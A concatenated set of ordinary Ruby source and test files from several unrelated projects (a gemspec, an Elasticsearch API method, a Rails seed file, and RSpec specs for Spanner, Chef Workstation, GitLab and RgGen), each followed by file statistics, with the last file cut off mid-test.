s.email = ["[email protected]".freeze, "[email protected]".freeze]
s.homepage = "https://github.com/rails/sass-rails".freeze
s.licenses = ["MIT".freeze]
s.rubygems_version = "2.5.2".freeze
s.summary = "Sass adapter for the Rails asset pipeline.".freeze
s.installed_by_version = "2.5.2" if s.respond_to? :installed_by_version
if s.respond_to? :specification_version then
s.specification_version = 4
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_runtime_dependency(%q<railties>.freeze, ["< 6", ">= 4.0.0"])
s.add_runtime_dependency(%q<sass>.freeze, ["~> 3.1"])
s.add_runtime_dependency(%q<sprockets-rails>.freeze, ["< 4.0", ">= 2.0"])
s.add_runtime_dependency(%q<sprockets>.freeze, ["< 4.0", ">= 2.8"])
s.add_runtime_dependency(%q<tilt>.freeze, ["< 3", ">= 1.1"])
s.add_development_dependency(%q<sqlite3>.freeze, [">= 0"])
else
s.add_dependency(%q<railties>.freeze, ["< 6", ">= 4.0.0"])
s.add_dependency(%q<sass>.freeze, ["~> 3.1"])
s.add_dependency(%q<sprockets-rails>.freeze, ["< 4.0", ">= 2.0"])
s.add_dependency(%q<sprockets>.freeze, ["< 4.0", ">= 2.8"])
s.add_dependency(%q<tilt>.freeze, ["< 3", ">= 1.1"])
s.add_dependency(%q<sqlite3>.freeze, [">= 0"])
end
else
s.add_dependency(%q<railties>.freeze, ["< 6", ">= 4.0.0"])
s.add_dependency(%q<sass>.freeze, ["~> 3.1"])
s.add_dependency(%q<sprockets-rails>.freeze, ["< 4.0", ">= 2.0"])
s.add_dependency(%q<sprockets>.freeze, ["< 4.0", ">= 2.8"])
s.add_dependency(%q<tilt>.freeze, ["< 3", ">= 1.1"])
s.add_dependency(%q<sqlite3>.freeze, [">= 0"])
end
end
| 43.958333 | 112 | 0.620379 |
b976937d8386c5b7e1c92a61c351e8d7afb1b6eb | 1,140 | require "spec/spec_helper"
module CIMaestro
module Configuration
describe DefaultDirectoryStructure do
before(:each) do
@out = DefaultDirectoryStructure.new TESTS_BASE_PATH, "SYSTEM_NAME", "MAINLINE"
end
it "should build the correct standard paths" do
@out.system_base_path.should == File.join(TESTS_BASE_PATH, "SYSTEM_NAME", "MAINLINE")
@out.working_dir_path.should == File.join(@out.system_base_path, "Integration")
@out.solution_dir_path.should == File.join(@out.system_base_path, "Solution")
@out.latest_artifacts_dir_path.should == File.join(@out.system_base_path, "Artifacts", "Latest")
@out.artifacts_dir_path.should == File.join(@out.system_base_path, "Artifacts", "Latest")
@out.artifacts_dir_path("1.0.0.0").should == File.join(@out.system_base_path, "Artifacts", "1.0.0.0")
@out.cimaestro_dir_path.should == File.join(@out.system_base_path, "CIMaestro")
@out.lib_dir_path.should == File.join(@out.working_dir_path, "Lib")
@out.logs_dir_path.should == File.join(@out.cimaestro_dir_path, "Logs")
end
end
end
end
| 45.6 | 109 | 0.699123 |
332552866755a99a49396cde7c0959aa4eab1971 | 1,963 | # Licensed to Elasticsearch B.V under one or more agreements.
# Elasticsearch B.V licenses this file to you under the Apache 2.0 License.
# See the LICENSE file in the project root for more information
module Elasticsearch
module XPack
module API
module MachineLearning
module Actions
# TODO: Description
#
# @option arguments [String] :job_id The ID of the job to fetch
# @option arguments [String] :snapshot_id The ID of the snapshot to revert to
# @option arguments [Boolean] :delete_intervening_results Should we reset the results back to the time of the snapshot?
# @option arguments [Hash] :body Reversion options
#
# @see http://www.elastic.co/guide/en/elasticsearch/reference/current/ml-revert-snapshot.html
#
def revert_model_snapshot(arguments = {})
raise ArgumentError, "Required argument 'job_id' missing" unless arguments[:job_id]
raise ArgumentError, "Required argument 'snapshot_id' missing" unless arguments[:snapshot_id]
arguments = arguments.clone
_job_id = arguments.delete(:job_id)
_snapshot_id = arguments.delete(:snapshot_id)
method = Elasticsearch::API::HTTP_POST
path = "_ml/anomaly_detectors/#{Elasticsearch::API::Utils.__listify(_job_id)}/model_snapshots/#{Elasticsearch::API::Utils.__listify(_snapshot_id)}/_revert"
params = Elasticsearch::API::Utils.__validate_and_extract_params arguments, ParamsRegistry.get(__method__)
body = arguments[:body]
perform_request(method, path, params, body).body
end
# Register this action with its valid params when the module is loaded.
#
# @since 6.2.0
ParamsRegistry.register(:revert_model_snapshot, [
:delete_intervening_results
].freeze)
end
end
end
end
end
| 39.26 | 169 | 0.659705 |
4aa963b2ccbab990ca8d4501884d450196e94b7c | 9,227 | #encoding: utf-8
require 'faker'
ad = Address.create(city: 'Münster' , postal_code: '48149', street: 'Corrensstraße', house_number: '25', country: 'Germany' )
admin = User.create(:email => "[email protected]", :password => 'Admin123', :password_confirmation => 'Admin123', :first_name => 'Admin', :last_name => 'Admin', :address_id => ad.id)
admin.add_role :admin
user = User.create(:email => "[email protected]", :password => 'User1234', :password_confirmation => 'User1234', :first_name => 'Thorsten', :last_name => 'Woywod', :address_id => ad.id)
user.add_role :user
jan = User.create(:email => "[email protected]", :password => 'Jan12345', :password_confirmation => 'Jan12345', :first_name => 'Jan', :last_name => 'Wendt', :address_id => ad.id)
jan.add_role :admin
thorsten = User.create(:email => "[email protected]", :password => 'Thorsten123', :password_confirmation => 'Thorsten123', :first_name => 'Thorsten', :last_name => 'Woywod', :address_id => ad.id)
thorsten.add_role :admin
marcel = User.create(:email => "[email protected]", :password => 'Marcel123', :password_confirmation => 'Marcel123', :first_name => 'Marcel', :last_name => 'Voß', :address_id => ad.id)
marcel.add_role :user
christopher = User.create(:email => "[email protected]", :password => 'Chris123', :password_confirmation => 'Chris123', :first_name => 'Christopher', :last_name => 'Andres', :address_id => ad.id)
christopher.add_role :user
ca = Category.create(name: "Weizen")
ca1 = Category.create(name: "Pils")
pr = Producer.create(name: "Krombacher", address_id: ad.id)
pr1 = Producer.create(name: "Veltins", address_id: ad.id)
pr2 = Producer.create(name: "Heineken", address_id: ad.id)
pr3 = Producer.create(name: "Erdinger Weißbräu", address_id: ad.id)
b1 = Beer.create(title: "Krombacher Weizen", category_id: ca.id, producer_id: pr.id, beerURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/beer/Krombacher_Flasche_Weizen.jpg", :encoding => "UTF-8"))
b2 = Beer.create(title: "Krombacher", category_id: ca1.id, producer_id: pr.id, beerURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/beer/Krombacher_Flasche_Pils.jpg", :encoding => "UTF-8"))
b3 = Beer.create(title: "Veltins", category_id: ca1.id, producer_id: pr1.id, beerURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/beer/Veltins_Flasche.jpg", :encoding => "UTF-8"))
b4 = Beer.create(title: "Erdinger", category_id: ca.id, producer_id: pr3.id, beerURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/beer/Erdinger.jpg", :encoding => "UTF-8"))
b5 = Beer.create(title: "Heineken", category_id: ca1.id, producer_id: pr2.id, beerURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/beer/Heineken.jpg", :encoding => "UTF-8"))
cl = Club.create(name: "Beer Club" , address_id: ad.id , user_id: user.id, active: false, url: "http://www.google.de" ,beer_ids:[b1.id, b2.id,b3.id], clubURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/club/club1.jpg", :encoding => "UTF-8") )
cl1 = Club.create(name: "Club of Beer" , address_id: ad.id , user_id: thorsten.id, active: true, url: "http://www.google.de", beer_ids:[b2.id, b3.id,b4.id], clubURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/club/club2.jpg", :encoding => "UTF-8"))
cl2 = Club.create(name: "The Club" , address_id: ad.id , user_id: christopher.id, active: true, url: "http://www.google.de", beer_ids:[b3.id, b4.id,b5.id], clubURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/club/club3.jpg", :encoding => "UTF-8"))
Event.create(title: "Event 1", sdate: Faker::Time.forward(23, :morning).change(year: 2016), club_id: cl.id, imageURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/event/image1.jpg", :encoding => "UTF-8"))
Event.create(title: "Event 2", sdate: Faker::Time.forward(23, :morning).change(year: 2016), club_id: cl.id, imageURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/event/image2.jpg", :encoding => "UTF-8"))
Event.create(title: "Event 3", sdate: Faker::Time.forward(23, :morning).change(year: 2016), club_id: cl1.id, imageURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/event/image3.jpg", :encoding => "UTF-8"))
Event.create(title: "Event 4", sdate: Faker::Time.forward(23, :morning).change(year: 2016), club_id: cl1.id, imageURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/event/image4.jpg", :encoding => "UTF-8"))
Event.create(title: "Event 5", sdate: Faker::Time.forward(23, :morning).change(year: 2016), club_id: cl2.id, imageURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/event/image3.jpg", :encoding => "UTF-8"))
Event.create(title: "Event 6", sdate: Faker::Time.forward(23, :morning).change(year: 2016), club_id: cl2.id, imageURL: File.new("#{Rails.root}/ace/app/assets/img/ace/uploads/event/image4.jpg", :encoding => "UTF-8"))
sh = Shop.create(name: "XXL Beerhouse", address_id: ad.id, website: "www.xxlbeerhouse.de", phonenumber: "123456789", email: "[email protected]", active: false ,beer_ids:[b1.id, b2.id,b3.id] )
sh1 = Shop.create(name: "House of Beer", address_id: ad.id, website: "www.houseofbeer.de", phonenumber: "123456789", email: "[email protected]", active: true, beer_ids:[b3.id, b4.id,b5.id] )
r1 = Rating.create(beer_id: b1.id, user_id:jan.id, headline:"Ganz okay", comment:"consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt" )
r2 = Rating.create(beer_id: b2.id, user_id:jan.id, headline:"Sehr gut",comment:"At vero eos et accusam et justo duo dolores et ea rebum" )
r3 = Rating.create(beer_id: b3.id, user_id:jan.id, headline:"Ganz okay",comment:"Lorem ipsum dolor sit amet, consetetur sadipscing elitr" )
r4 = Rating.create(beer_id: b2.id, user_id:thorsten.id,headline:"Ganz okay", comment:"At vero eos et accusam et justo duo dolores et ea rebum" )
r5 = Rating.create(beer_id: b3.id, user_id:thorsten.id, headline:"Völlig okay und dies und das",comment:"consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt" )
r6 = Rating.create(beer_id: b4.id, user_id:thorsten.id,headline:"Ganz gut", comment:"Lorem ipsum dolor sit amet, consetetur sadipscing elitr" )
r7 = Rating.create(beer_id: b3.id, user_id:marcel.id,headline:"Ganz okay", comment:"Lorem ipsum dolor sit amet, consetetur sadipscing elitr" )
r8 = Rating.create(beer_id: b4.id, user_id:marcel.id, headline:"Völlig okay und dies und das",comment:"Lorem ipsum dolor sit amet, consetetur sadipscing elitr" )
r9 = Rating.create(beer_id: b5.id, user_id:marcel.id,headline:"Ganz gut", comment:"Lorem ipsum dolor sit amet, consetetur sadipscing elitr" )
r10 = Rating.create(beer_id: b1.id, user_id:christopher.id,headline:"Ganz okay", comment:"Lorem ipsum dolor sit amet, consetetur sadipscing elitr" )
r11 = Rating.create(beer_id: b2.id, user_id:christopher.id, headline:"Völlig okay und dies und das",comment:"Lorem ipsum dolor sit amet, consetetur sadipscing elitr" )
r12 = Rating.create(beer_id: b3.id, user_id:christopher.id,headline:"Ganz gut", comment:"Lorem ipsum dolor sit amet, consetetur sadipscing elitr" )
Criterion.create(rating_id: r1.id, name: "Price",value: "5")
Criterion.create(rating_id: r1.id, name: "Taste",value: "3")
Criterion.create(rating_id: r1.id, name: "Headache",value: "3")
Criterion.create(rating_id: r2.id, name: "Price",value: "4")
Criterion.create(rating_id: r2.id, name: "Taste",value: "3")
Criterion.create(rating_id: r2.id, name: "Headache",value: "3")
Criterion.create(rating_id: r3.id, name: "Price",value: "5")
Criterion.create(rating_id: r3.id, name: "Taste",value: "3")
Criterion.create(rating_id: r3.id, name: "Headache",value: "4")
Criterion.create(rating_id: r4.id, name: "Price",value: "4")
Criterion.create(rating_id: r4.id, name: "Taste",value: "5")
Criterion.create(rating_id: r4.id, name: "Headache",value: "4")
Criterion.create(rating_id: r5.id, name: "Price",value: "5")
Criterion.create(rating_id: r5.id, name: "Taste",value: "3")
Criterion.create(rating_id: r5.id, name: "Headache",value: "1")
Criterion.create(rating_id: r6.id, name: "Price",value: "2")
Criterion.create(rating_id: r6.id, name: "Taste",value: "1")
Criterion.create(rating_id: r6.id, name: "Headache",value: "2")
Criterion.create(rating_id: r7.id, name: "Price",value: "2")
Criterion.create(rating_id: r7.id, name: "Taste",value: "3")
Criterion.create(rating_id: r7.id, name: "Headache",value: "3")
Criterion.create(rating_id: r8.id, name: "Price",value: "4")
Criterion.create(rating_id: r8.id, name: "Taste",value: "5")
Criterion.create(rating_id: r8.id, name: "Headache",value: "3")
Criterion.create(rating_id: r9.id, name: "Price",value: "4")
Criterion.create(rating_id: r9.id, name: "Taste",value: "3")
Criterion.create(rating_id: r9.id, name: "Headache",value: "4")
Criterion.create(rating_id: r10.id, name: "Price",value: "1")
Criterion.create(rating_id: r10.id, name: "Taste",value: "3")
Criterion.create(rating_id: r10.id, name: "Headache",value: "4")
Criterion.create(rating_id: r11.id, name: "Price",value: "5")
Criterion.create(rating_id: r11.id, name: "Taste",value: "3")
Criterion.create(rating_id: r11.id, name: "Headache",value: "1")
Criterion.create(rating_id: r12.id, name: "Price",value: "2")
Criterion.create(rating_id: r12.id, name: "Taste",value: "1")
Criterion.create(rating_id: r12.id, name: "Headache",value: "2") | 86.233645 | 260 | 0.71746 |
e2d1a033efdc8c30d2a10e4336e5d5bc9bb3e3f5 | 1,704 | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require "helper"
describe Google::Cloud::Spanner::Backup, :mock_spanner do
let(:instance_id) { "my-instance-id" }
let(:database_id) { "my-database-id" }
let(:backup_id) { "my-backup-id" }
let(:backup_grpc) {
Google::Cloud::Spanner::Admin::Database::V1::Backup.new(
backup_hash(
instance_id: instance_id,
database_id: database_id,
backup_id: backup_id,
expire_time: Time.now + 36000,
create_time: Time.now,
size_bytes: 1024
)
)
}
let(:backup) { Google::Cloud::Spanner::Backup.from_grpc backup_grpc, spanner.service }
it "knows the identifiers" do
_(backup).must_be_kind_of Google::Cloud::Spanner::Backup
_(backup.project_id).must_equal project
_(backup.instance_id).must_equal instance_id
_(backup.database_id).must_equal database_id
_(backup.backup_id).must_equal backup_id
_(backup.state).must_equal :READY
_(backup).must_be :ready?
_(backup).wont_be :creating?
_(backup.expire_time).must_be_kind_of Time
_(backup.create_time).must_be_kind_of Time
_(backup.size_in_bytes).must_be :>, 0
end
end
| 32.769231 | 88 | 0.713028 |
6ac8e65231c50c757f42ff954c5cc610d48ad36f | 10,792 | #
# Copyright:: Copyright (c) 2014-2018 Chef Software Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require_relative "../spec_helper"
require_relative "../../verify"
module Gem
# We stub Gem.ruby because `verify` uses it to locate the omnibus directory,
# but we also use it in some of the "test commands" in these tests.
class << self
alias :real_ruby :ruby
end
end
describe ChefWorkstation::Command::Verify do
let(:command_instance) { ChefWorkstation::Command::Verify.new }
let(:command_options) { [] }
let(:components) { {} }
let(:default_components) do
[
"berkshelf",
"test-kitchen",
"tk-policyfile-provisioner",
"chef-client",
"chef-cli",
"chef-apply",
"chefspec",
"generated-cookbooks-pass-chefspec",
"fauxhai",
"kitchen-vagrant",
"package installation",
"openssl",
"inspec",
"chef-sugar-ng",
"opscode-pushy-client",
"git",
"delivery-cli",
]
end
def run_command(expected_exit_code)
expect(command_instance.run(command_options)).to eq(expected_exit_code)
end
it "defines berks, tk, chef and chef-cli components by default" do
expected_components = default_components
expect(command_instance.components).not_to be_empty
expect(command_instance.components.map(&:name)).to match_array(expected_components)
end
it "has a usage banner" do
expect(command_instance.banner).to eq("Usage: chef verify [component, ...] [options]")
end
describe "when locating omnibus directory from the ruby path" do
it "should find omnibus root directory from ruby path" do
allow(Gem).to receive(:ruby).and_return(File.join(fixtures_path, "eg_omnibus_dir/valid/embedded/bin/ruby"))
expect(command_instance.omnibus_root).to end_with("eg_omnibus_dir/valid")
end
it "should raise OmnibusInstallNotFound if directory is not looking like omnibus" do
allow(Gem).to receive(:ruby).and_return(File.join(fixtures_path, ".rbenv/versions/2.1.1/bin/ruby"))
expect { command_instance.omnibus_bin_dir }.to raise_error(ChefCLI::OmnibusInstallNotFound)
end
it "raises OmnibusInstallNotFound if omnibus directory doesn't exist" do
allow(Gem).to receive(:ruby).and_return(File.join(fixtures_path, "eg_omnibus_dir/invalid/embedded/bin/ruby"))
expect { command_instance.omnibus_bin_dir }.to raise_error(ChefCLI::OmnibusInstallNotFound)
end
context "and a component's gem is not installed" do
before do
component_map = ChefWorkstation::Command::Verify.component_map.dup
component_map["cucumber"] = ChefWorkstation::ComponentTest.new("cucumber")
component_map["cucumber"].gem_base_dir = "cucumber"
allow(ChefWorkstation::Command::Verify).to receive(:component_map).and_return(component_map)
end
it "raises MissingComponentError when a component doesn't exist" do
allow(Gem).to receive(:ruby).and_return(File.join(fixtures_path, "eg_omnibus_dir/missing_component/embedded/bin/ruby"))
expect { command_instance.validate_components! }.to raise_error(ChefWorkstation::MissingComponentError)
end
end
end
describe "when running verify command" do
let(:stdout_io) { StringIO.new }
let(:stderr_io) { StringIO.new }
let(:ruby_path) { File.join(fixtures_path, "eg_omnibus_dir/valid/embedded/bin/ruby") }
def run_unit_test
# Set rubyopt to empty to prevent bundler from infecting the ruby
# subcommands (and loading a bunch of extra gems).
lambda { |_self| sh("#{Gem.real_ruby} verify_me", env: { "RUBYOPT" => "" }) }
end
def run_integration_test
lambda { |_self| sh("#{Gem.real_ruby} integration_test", env: { "RUBYOPT" => "" }) }
end
let(:all_tests_ok) do
ChefWorkstation::ComponentTest.new("successful_comp").tap do |c|
c.base_dir = "embedded/apps/berkshelf"
c.unit_test(&run_unit_test)
c.integration_test(&run_integration_test)
c.smoke_test { sh("exit 0") }
end
end
let(:all_tests_ok_2) do
ChefWorkstation::ComponentTest.new("successful_comp_2").tap do |c|
c.base_dir = "embedded/apps/test-kitchen"
c.unit_test(&run_unit_test)
c.smoke_test { sh("exit 0") }
end
end
let(:failing_unit_test) do
ChefWorkstation::ComponentTest.new("failing_comp").tap do |c|
c.base_dir = "embedded/apps/chef"
c.unit_test(&run_unit_test)
c.smoke_test { sh("exit 0") }
end
end
let(:passing_smoke_test_only) do
component = failing_unit_test.dup
component.smoke_test { sh("exit 0") }
component
end
let(:failing_smoke_test_only) do
component = all_tests_ok.dup
component.smoke_test { sh("exit 1") }
component
end
let(:component_without_integration_tests) do
ChefWorkstation::ComponentTest.new("successful_comp").tap do |c|
c.base_dir = "embedded/apps/berkshelf"
c.unit_test { sh("./verify_me") }
c.smoke_test { sh("exit 0") }
end
end
def stdout
stdout_io.string
end
before do
allow(Gem).to receive(:ruby).and_return(ruby_path)
allow(command_instance).to receive(:stdout).and_return(stdout_io)
allow(command_instance).to receive(:stderr).and_return(stderr_io)
allow(command_instance).to receive(:components).and_return(components)
end
context "when running smoke tests only" do
describe "with single command with success" do
let(:components) do
[ passing_smoke_test_only ]
end
before do
run_command(0)
end
it "should report the success of the command" do
expect(stdout).to include("Verification of component 'failing_comp' succeeded.")
end
end
describe "with single command with failure" do
let(:components) do
[ failing_smoke_test_only ]
end
before do
run_command(1)
end
it "should report the failure of the command" do
expect(stdout).to include("Verification of component 'successful_comp' failed.")
end
end
end
context "when running unit tests" do
let(:command_options) { %w{--unit --verbose} }
let(:components) do
[ all_tests_ok ]
end
describe "with single command with success" do
before do
run_command(0)
end
it "should have embedded/bin on the PATH" do
expect(stdout).to include(File.join(fixtures_path, "eg_omnibus_dir/valid/embedded/bin"))
end
it "should report the success of the command" do
expect(stdout).to include("Verification of component 'successful_comp' succeeded.")
end
it "reports the component test output" do
expect(stdout).to include("you are good to go...")
end
context "and --verbose is not enabled" do
let(:command_options) { %w{--unit} }
it "omits the component test output" do
expect(stdout).to_not include("you are good to go...")
end
end
context "and --integration flag is given" do
let(:command_options) { %w{--integration --verbose} }
it "should run the integration command also" do
expect(stdout).to include("integration tests OK")
end
context "and no integration test command is specifed for the component" do
let(:components) do
[ component_without_integration_tests ]
end
it "skips the integration test and succeeds" do
expect(stdout).to include("Verification of component 'successful_comp' succeeded.")
end
end
end
end
describe "with single command with failure" do
let(:components) do
[ failing_unit_test ]
end
before do
run_command(1)
end
it "should report the failure of the command" do
expect(stdout).to include("Verification of component 'failing_comp' failed.")
end
it "reports the component test output" do
expect(stdout).to include("i'm not feeling good today...")
end
end
describe "with multiple commands with success" do
let(:components) do
[ all_tests_ok, all_tests_ok_2 ]
end
before do
run_command(0)
end
it "should report the success of the command" do
expect(stdout).to include("Verification of component 'successful_comp' succeeded.")
expect(stdout).to include("Verification of component 'successful_comp_2' succeeded.")
end
it "reports the component test outputs" do
expect(stdout).to include("you are good to go...")
expect(stdout).to include("my friend everything is good...")
end
context "and components are filtered by CLI args" do
let(:command_options) { [ "successful_comp_2" ] }
it "verifies only the desired component" do
expect(stdout).to_not include("Verification of component 'successful_comp_1' succeeded.")
expect(stdout).to include("Verification of component 'successful_comp_2' succeeded.")
end
end
end
describe "with multiple commands with failures" do
let(:components) do
[ all_tests_ok, all_tests_ok_2, failing_unit_test ]
end
before do
run_command(1)
end
it "should report the success and failure of the commands" do
expect(stdout).to include("Verification of component 'successful_comp' succeeded.")
expect(stdout).to include("Verification of component 'successful_comp_2' succeeded.")
expect(stdout).to include("Verification of component 'failing_comp' failed.")
end
it "reports the component test outputs" do
expect(stdout).to include("you are good to go...")
expect(stdout).to include("my friend everything is good...")
expect(stdout).to include("i'm not feeling good today...")
end
end
end
end
end
| 31.648094 | 127 | 0.652242 |
e80ac830bc0b7b6d3d13a9c89b794e960b2172a1 | 175 | # frozen_string_literal: true
# Load the rails application
require File.expand_path("application", __dir__)
# Initialize the rails application
Rails.application.initialize!
| 21.875 | 48 | 0.817143 |
879ee6f4b9b0d93643bab93bc879da66d700cd59 | 9,906 | require 'spec_helper'
feature 'Environments page', :js do
given(:project) { create(:project) }
given(:user) { create(:user) }
given(:role) { :developer }
background do
project.team << [user, role]
sign_in(user)
end
describe 'page tabs' do
it 'shows "Available" and "Stopped" tab with links' do
visit_environments(project)
expect(page).to have_selector('.js-environments-tab-available')
expect(page).to have_content('Available')
expect(page).to have_selector('.js-environments-tab-stopped')
expect(page).to have_content('Stopped')
end
describe 'with one available environment' do
before do
create(:environment, project: project, state: :available)
end
describe 'in available tab page' do
it 'should show one environment' do
visit_environments(project, scope: 'available')
expect(page).to have_css('.environments-container')
expect(page.all('.environment-name').length).to eq(1)
end
end
describe 'in stopped tab page' do
it 'should show no environments' do
visit_environments(project, scope: 'stopped')
expect(page).to have_css('.environments-container')
expect(page).to have_content('You don\'t have any environments right now')
end
end
end
describe 'with one stopped environment' do
before do
create(:environment, project: project, state: :stopped)
end
describe 'in available tab page' do
it 'should show no environments' do
visit_environments(project, scope: 'available')
expect(page).to have_css('.environments-container')
expect(page).to have_content('You don\'t have any environments right now')
end
end
describe 'in stopped tab page' do
it 'should show one environment' do
visit_environments(project, scope: 'stopped')
expect(page).to have_css('.environments-container')
expect(page.all('.environment-name').length).to eq(1)
end
end
end
end
context 'without environments' do
before do
visit_environments(project)
end
it 'does not show environments and counters are set to zero' do
expect(page).to have_content('You don\'t have any environments right now.')
expect(page.find('.js-environments-tab-available .badge').text).to eq('0')
expect(page.find('.js-environments-tab-stopped .badge').text).to eq('0')
end
end
describe 'environments table' do
given!(:environment) do
create(:environment, project: project, state: :available)
end
context 'when there are no deployments' do
before do
visit_environments(project)
end
it 'shows environments names and counters' do
expect(page).to have_link(environment.name)
expect(page.find('.js-environments-tab-available .badge').text).to eq('1')
expect(page.find('.js-environments-tab-stopped .badge').text).to eq('0')
end
it 'does not show deployments' do
expect(page).to have_content('No deployments yet')
end
it 'does not show stip button when environment is not stoppable' do
expect(page).not_to have_selector('.stop-env-link')
end
end
context 'when there are deployments' do
given(:project) { create(:project, :repository) }
given!(:deployment) do
create(:deployment, environment: environment,
sha: project.commit.id)
end
it 'shows deployment SHA and internal ID' do
visit_environments(project)
expect(page).to have_link(deployment.short_sha)
expect(page).to have_content(deployment.iid)
end
context 'when builds and manual actions are present' do
given!(:pipeline) { create(:ci_pipeline, project: project) }
given!(:build) { create(:ci_build, pipeline: pipeline) }
given!(:action) do
create(:ci_build, :manual, pipeline: pipeline, name: 'deploy to production')
end
given!(:deployment) do
create(:deployment, environment: environment,
deployable: build,
sha: project.commit.id)
end
before do
visit_environments(project)
end
it 'shows a play button' do
find('.js-dropdown-play-icon-container').click
expect(page).to have_content(action.name.humanize)
end
it 'allows to play a manual action', :js do
expect(action).to be_manual
find('.js-dropdown-play-icon-container').click
expect(page).to have_content(action.name.humanize)
expect { find('.js-manual-action-link').click }
.not_to change { Ci::Pipeline.count }
end
it 'shows build name and id' do
expect(page).to have_link("#{build.name} ##{build.id}")
end
it 'shows a stop button' do
expect(page).not_to have_selector('.stop-env-link')
end
it 'does not show external link button' do
expect(page).not_to have_css('external-url')
end
it 'does not show terminal button' do
expect(page).not_to have_terminal_button
end
context 'with external_url' do
given(:environment) { create(:environment, project: project, external_url: 'https://git.gitlab.com') }
given(:build) { create(:ci_build, pipeline: pipeline) }
given(:deployment) { create(:deployment, environment: environment, deployable: build) }
it 'shows an external link button' do
expect(page).to have_link(nil, href: environment.external_url)
end
end
context 'with stop action' do
given(:action) do
create(:ci_build, :manual, pipeline: pipeline, name: 'close_app')
end
given(:deployment) do
create(:deployment, environment: environment,
deployable: build,
on_stop: 'close_app')
end
it 'shows a stop button' do
expect(page).to have_selector('.stop-env-link')
end
context 'when user is a reporter' do
let(:role) { :reporter }
it 'does not show stop button' do
expect(page).not_to have_selector('.stop-env-link')
end
end
end
context 'when kubernetes terminal is available' do
let(:project) { create(:kubernetes_project, :test_repo) }
context 'for project master' do
let(:role) { :master }
it 'shows the terminal button' do
expect(page).to have_terminal_button
end
end
context 'when user is a developer' do
let(:role) { :developer }
it 'does not show terminal button' do
expect(page).not_to have_terminal_button
end
end
end
end
end
end
it 'does have a new environment button' do
visit_environments(project)
expect(page).to have_link('New environment')
end
describe 'creating a new environment' do
before do
visit_environments(project)
end
context 'user is a developer' do
given(:role) { :developer }
scenario 'developer creates a new environment with a valid name' do
within(".top-area") { click_link 'New environment' }
fill_in('Name', with: 'production')
click_on 'Save'
expect(page).to have_content('production')
end
scenario 'developer creates a new environmetn with invalid name' do
within(".top-area") { click_link 'New environment' }
fill_in('Name', with: 'name,with,commas')
click_on 'Save'
expect(page).to have_content('Name can contain only letters')
end
end
context 'user is a reporter' do
given(:role) { :reporter }
scenario 'reporters tries to create a new environment' do
expect(page).not_to have_link('New environment')
end
end
end
describe 'environments folders' do
before do
create(:environment, project: project,
name: 'staging/review-1',
state: :available)
create(:environment, project: project,
name: 'staging/review-2',
state: :available)
end
scenario 'users unfurls an environment folder' do
visit_environments(project)
expect(page).not_to have_content 'review-1'
expect(page).not_to have_content 'review-2'
expect(page).to have_content 'staging 2'
within('.folder-row') do
find('.folder-name', text: 'staging').click
end
expect(page).to have_content 'review-1'
expect(page).to have_content 'review-2'
end
end
describe 'environments folders view' do
before do
create(:environment, project: project,
name: 'staging.review/review-1',
state: :available)
create(:environment, project: project,
name: 'staging.review/review-2',
state: :available)
end
scenario 'user opens folder view' do
visit folder_project_environments_path(project, 'staging.review')
wait_for_requests
expect(page).to have_content('Environments / staging.review')
expect(page).to have_content('review-1')
expect(page).to have_content('review-2')
end
end
def have_terminal_button
have_link(nil, href: terminal_project_environment_path(project, environment))
end
def visit_environments(project, **opts)
visit project_environments_path(project, **opts)
wait_for_requests
end
end
| 30.20122 | 112 | 0.608116 |
01a989402477086c95893f15170c57c1cbcb5639 | 2,062 | # frozen_string_literal: true
RSpec.describe RgGen::SystemVerilog::RAL::Feature do
let(:configuration) do
RgGen::Core::Configuration::Component.new(nil, 'configuration', nil)
end
let(:register_map) do
RgGen::Core::RegisterMap::Component.new(nil, 'register_map', nil, configuration)
end
let(:components) do
register_block = create_component(nil, :register_block)
register_file = create_component(register_block, :register_file)
register = create_component(register_file, :register)
bit_field = create_component(register, :bit_field)
[register_block, register_file, register, bit_field]
end
let(:features) do
components.map do |component|
described_class.new(:foo, nil, component) { |f| component.add_feature(f) }
end
end
def create_component(parent, layer)
RgGen::SystemVerilog::Common::Component.new(parent, 'component', layer, configuration, register_map)
end
describe '#variable' do
specify '規定の宣言追加先は一段上の階層' do
features[1].instance_eval { variable :foo, data_type: :bit }
features[2].instance_eval { variable :bar, name: 'barbar', data_type: :bit, random: :rand }
features[3].instance_eval { variable :baz, name: 'bazbaz', data_type: :bit, width: 2, array_size: [2] }
expect(components[0]).to have_declaration(:variable, 'bit foo')
expect(components[1]).to have_declaration(:variable, 'rand bit barbar')
expect(components[2]).to have_declaration(:variable, 'bit [1:0] bazbaz[2]')
end
end
describe '#parameter' do
specify '規定の宣言追加先は一段上の階層' do
features[1].instance_eval { parameter :foo, default: 1 }
features[2].instance_eval { parameter :bar, name: 'BAR', data_type: :int, default: 2 }
